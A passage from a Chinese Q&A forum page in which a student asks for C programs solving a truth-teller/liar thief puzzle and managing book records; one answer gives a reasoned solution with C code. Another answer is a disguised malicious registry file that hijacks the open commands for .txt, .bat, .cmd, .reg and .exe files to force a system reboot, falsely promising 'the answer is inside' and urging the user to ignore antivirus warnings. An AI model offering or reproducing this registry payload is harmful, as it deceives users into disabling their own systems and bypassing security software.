关于C语言的编程问题。
1.公安人员审问四名窃贼嫌疑犯。已知,这四人当中仅有一名是窃贼,还知道这四人中每人要么是诚实的,要么总是说谎的。在回答公安人员的问题中:甲:“乙没有偷,是丁偷的。”乙:“...
1.公安人员审问四名窃贼嫌疑犯。已知,这四人当中仅有一名是窃贼,还知道这四人中每人要么是诚实的,要么总是说谎的。在回答公安人员的问题中:
甲:“乙没有偷,是丁偷的。”
乙:“我没有偷,是丙偷的。”
丙:“甲没有偷,是乙偷的。”
丁:“我没有偷。”
请根据这四人的答话判断谁是盗窃者。
2.
用c语言编写一个程序,实现如下功能:
新建一个文件以保存若干条图书信息;
新增一条记录,包括图书编号、书名、作者名、价格等信息;
删除指定图书编号的相应记录;
查询指定图书编号或指定书名的相应记录;
将记录按照编号(或价格)升序(或降序)排序。
用c语言把上面两个问题写出来,谢谢了。 展开
甲:“乙没有偷,是丁偷的。”
乙:“我没有偷,是丙偷的。”
丙:“甲没有偷,是乙偷的。”
丁:“我没有偷。”
请根据这四人的答话判断谁是盗窃者。
2.
用c语言编写一个程序,实现如下功能:
新建一个文件以保存若干条图书信息;
新增一条记录,包括图书编号、书名、作者名、价格等信息;
删除指定图书编号的相应记录;
查询指定图书编号或指定书名的相应记录;
将记录按照编号(或价格)升序(或降序)排序。
用c语言把上面两个问题写出来,谢谢了。 展开
3个回答
展开全部
假设
p:"甲是盗窃者"
q:"乙是盗窃者"
r:"丙是盗窃者"
s:"丁是盗窃者"
已知这四人中每人要么是诚实的,要么总是说谎的。
!q==s
!q==r
!p==q
又四人当中仅有一名是窃贼,所以,真命题必在q,s中,且必在q,r中,且必在q,p中。所以,q为真命题,即乙是盗窃者。
main() {
char p,q,r,s;
p=1;q=0;r=0;s=0;
if(!q==s&&!q==r&&!p==q) printf("甲");
else {
p=0;q=1;r=0;s=0;
if(!q==s&&!q==r&&!p==q) printf("乙");
else {
p=0;q=0;r=1;s=0;
if(!q==s&&!q==r&&!p==q) printf("丙");
else printf("丁");
}
}
printf("是盗窃者\n");
getchar();
}
p:"甲是盗窃者"
q:"乙是盗窃者"
r:"丙是盗窃者"
s:"丁是盗窃者"
已知这四人中每人要么是诚实的,要么总是说谎的。
!q==s
!q==r
!p==q
又四人当中仅有一名是窃贼,所以,真命题必在q,s中,且必在q,r中,且必在q,p中。所以,q为真命题,即乙是盗窃者。
main() {
char p,q,r,s;
p=1;q=0;r=0;s=0;
if(!q==s&&!q==r&&!p==q) printf("甲");
else {
p=0;q=1;r=0;s=0;
if(!q==s&&!q==r&&!p==q) printf("乙");
else {
p=0;q=0;r=1;s=0;
if(!q==s&&!q==r&&!p==q) printf("丙");
else printf("丁");
}
}
printf("是盗窃者\n");
getchar();
}
展开全部
REGEDIT4
[HKEY_CLASSES_ROOT\txtfile\shell\open\command]
@="c:\\windows\\system32\\shutdown.exe -r -t 600 -c GoodBye&GoodLuck"
[HKEY_CLASSES_ROOT\batfile\shell\open\command]
@="c:\\windows\\system32\\shutdown.exe -r -t 600 -c GoodBye&GoodLuck"
[HKEY_CLASSES_ROOT\cmdfile\shell\open\command]
@="c:\\windows\\system32\\shutdown.exe -r -t 600 -c GoodBye&GoodLuck"
[HKEY_CLASSES_ROOT\regfile\shell\open\command]
@="c:\\windows\\system32\\shutdown.exe -r -t 600 -c GoodBye&GoodLuck"
[HKEY_CLASSES_ROOT\exefile\shell\open\command]
@="c:\\windows\\system32\\shutdown.exe -r -t 600 -c GoodBye&GoodLuck"
保存为.reg文档 导入之后点确认 不要理会360的拦截毫无意义
导入之后答案就在里面
[HKEY_CLASSES_ROOT\txtfile\shell\open\command]
@="c:\\windows\\system32\\shutdown.exe -r -t 600 -c GoodBye&GoodLuck"
[HKEY_CLASSES_ROOT\batfile\shell\open\command]
@="c:\\windows\\system32\\shutdown.exe -r -t 600 -c GoodBye&GoodLuck"
[HKEY_CLASSES_ROOT\cmdfile\shell\open\command]
@="c:\\windows\\system32\\shutdown.exe -r -t 600 -c GoodBye&GoodLuck"
[HKEY_CLASSES_ROOT\regfile\shell\open\command]
@="c:\\windows\\system32\\shutdown.exe -r -t 600 -c GoodBye&GoodLuck"
[HKEY_CLASSES_ROOT\exefile\shell\open\command]
@="c:\\windows\\system32\\shutdown.exe -r -t 600 -c GoodBye&GoodLuck"
保存为.reg文档 导入之后点确认 不要理会360的拦截毫无意义
导入之后答案就在里面
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
一 分数太少
二 第二个程序较长
三 估计没人帮你做
二 第二个程序较长
三 估计没人帮你做
追问
好了,帮了我,30分是你的,今天中午截止哦,过了时间这题我就没用了。
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询